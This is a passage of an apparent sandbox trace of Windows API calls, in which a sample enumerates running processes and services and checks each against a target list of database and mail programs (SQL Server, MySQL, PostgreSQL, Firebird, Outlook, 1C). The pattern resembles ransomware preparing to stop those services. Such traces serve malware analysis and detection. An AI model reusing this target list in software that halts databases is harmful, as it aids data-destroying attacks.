	[0274.428] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1
	[0274.428] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0274.428] lstrlenW (lpString="services.exe") returned 12
	[0274.428] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1
	[0274.428] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1
	[0274.428] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1
	[0274.428] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1
	[0274.428] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1
	[0274.428] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1
	[0274.428] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1
	[0274.428] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0274.429] lstrlenW (lpString="lsass.exe") returned 9
	[0274.429] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1
	[0274.429] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1
	[0274.429] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1
	[0274.429] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1
	[0274.429] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1
	[0274.429] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1
	[0274.429] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1
	[0274.429] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0274.429] lstrlenW (lpString="lsm.exe") returned 7
	[0274.429] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1
	[0274.429] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1
	[0274.429] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1
	[0274.429] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0274.429] lstrlenW (lpString="svchost.exe") returned 11
	[0274.430] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0274.430] lstrlenW (lpString="svchost.exe") returned 11
	[0274.430] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0274.430] lstrlenW (lpString="svchost.exe") returned 11
	[0274.430] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0274.430] lstrlenW (lpString="svchost.exe") returned 11
	[0274.430] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0274.431] lstrlenW (lpString="svchost.exe") returned 11
	[0274.431] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0274.431] lstrlenW (lpString="audiodg.exe") returned 11
	[0274.431] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0274.431] lstrlenW (lpString="svchost.exe") returned 11
	[0274.431] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1
	[0274.431] lstrlenW (lpString="userinit.exe") returned 12
	[0274.432] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0274.432] lstrlenW (lpString="explorer.exe") returned 12
	[0274.432] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0274.432] lstrlenW (lpString="dwm.exe") returned 7
	[0274.432] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0274.432] lstrlenW (lpString="svchost.exe") returned 11
	[0274.432] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0274.433] lstrlenW (lpString="swpesp.exe") returned 10
	[0274.433] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0274.433] lstrlenW (lpString="spoolsv.exe") returned 11
	[0274.433] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0274.433] lstrlenW (lpString="taskhost.exe") returned 12
	[0274.433] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0274.433] lstrlenW (lpString="svchost.exe") returned 11
	[0274.433] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1
	[0274.434] lstrlenW (lpString="reader_sl.exe") returned 13
	[0274.434] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0
	[0274.434] CloseHandle (hObject=0x28c) returned 1
	[0274.434] Sleep (dwMilliseconds=0x1f4) 
	[0275.067] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4280bf8
	[0275.067] EnumServicesStatusExW (in: hSCManager=0x4280bf8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 0
	[0275.067] GetLastError () returned 0xea
	[0275.067] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x113e) returned 0x4206ba8
	[0275.067] EnumServicesStatusExW (in: hSCManager=0x4280bf8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4206ba8, cbBufSize=0x113e, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4206ba8, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 1
	[0275.068] CloseServiceHandle (hSCObject=0x4280bf8) returned 1
	[0275.068] lstrlenW (lpString="Appinfo") returned 7
	[0275.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0275.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0275.068] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0275.068] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0275.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0275.068] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0275.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0275.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0275.068] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0275.068] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0275.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0275.068] lstrlenW (lpString="AudioSrv") returned 8
	[0275.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0275.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0275.068] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0275.068] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0275.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0275.069] lstrlenW (lpString="BFE") returned 3
	[0275.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0275.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0275.069] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0275.069] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0275.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0275.069] lstrlenW (lpString="CryptSvc") returned 8
	[0275.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0275.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0275.069] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0275.069] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0275.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0275.069] lstrlenW (lpString="CscService") returned 10
	[0275.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0275.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0275.069] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0275.069] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0275.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0275.069] lstrlenW (lpString="DcomLaunch") returned 10
	[0275.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0275.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0275.069] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0275.069] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0275.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0275.069] lstrlenW (lpString="Dhcp") returned 4
	[0275.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0275.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0275.069] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0275.069] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0275.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0275.069] lstrlenW (lpString="Dnscache") returned 8
	[0275.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0275.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0275.070] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0275.070] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0275.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0275.070] lstrlenW (lpString="DPS") returned 3
	[0275.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0275.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0275.070] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0275.070] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0275.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0275.070] lstrlenW (lpString="eventlog") returned 8
	[0275.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0275.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0275.070] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0275.070] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0275.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0275.070] lstrlenW (lpString="EventSystem") returned 11
	[0275.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0275.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0275.070] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0275.070] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0275.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0275.070] lstrlenW (lpString="gpsvc") returned 5
	[0275.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0275.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0275.070] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0275.070] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0275.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0275.070] lstrlenW (lpString="iphlpsvc") returned 8
	[0275.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0275.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0275.071] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0275.071] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0275.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0275.071] lstrlenW (lpString="LanmanServer") returned 12
	[0275.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0275.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0275.071] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0275.071] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0275.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0275.071] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0275.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0275.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0275.071] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0275.071] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0275.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0275.071] lstrlenW (lpString="lmhosts") returned 7
	[0275.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0275.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0275.071] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0275.071] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0275.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0275.071] lstrlenW (lpString="MMCSS") returned 5
	[0275.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0275.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0275.071] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0275.071] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0275.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0275.071] lstrlenW (lpString="MpsSvc") returned 6
	[0275.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0275.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0275.072] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0275.072] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0275.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0275.072] lstrlenW (lpString="Netman") returned 6
	[0275.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1
	[0275.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1
	[0275.072] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1
	[0275.072] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1
	[0275.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1
	[0275.072] lstrlenW (lpString="netprofm") returned 8
	[0275.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0275.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0275.072] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0275.072] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0275.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0275.072] lstrlenW (lpString="NlaSvc") returned 6
	[0275.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0275.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0275.072] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0275.072] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0275.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0275.072] lstrlenW (lpString="nsi") returned 3
	[0275.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0275.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0275.072] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0275.072] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0275.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0275.072] lstrlenW (lpString="PcaSvc") returned 6
	[0275.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0275.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0275.072] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0275.072] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0275.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0275.073] lstrlenW (lpString="PlugPlay") returned 8
	[0275.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0275.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0275.073] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0275.073] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0275.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0275.073] lstrlenW (lpString="Power") returned 5
	[0275.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0275.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0275.073] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0275.073] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0275.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0275.073] lstrlenW (lpString="ProfSvc") returned 7
	[0275.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0275.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0275.073] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0275.073] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0275.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0275.073] lstrlenW (lpString="RpcEptMapper") returned 12
	[0275.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0275.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0275.073] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0275.073] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0275.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0275.073] lstrlenW (lpString="RpcSs") returned 5
	[0275.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0275.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0275.073] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0275.073] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0275.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0275.074] lstrlenW (lpString="SamSs") returned 5
	[0275.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0275.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0275.074] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0275.074] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0275.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0275.074] lstrlenW (lpString="Schedule") returned 8
	[0275.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0275.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0275.074] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0275.074] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0275.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0275.074] lstrlenW (lpString="SENS") returned 4
	[0275.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0275.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0275.074] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0275.074] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0275.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0275.074] lstrlenW (lpString="ShellHWDetection") returned 16
	[0275.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0275.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0275.074] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0275.074] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0275.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0275.074] lstrlenW (lpString="Spooler") returned 7
	[0275.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0275.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0275.074] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0275.074] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0275.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0275.074] lstrlenW (lpString="SysMain") returned 7
	[0275.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
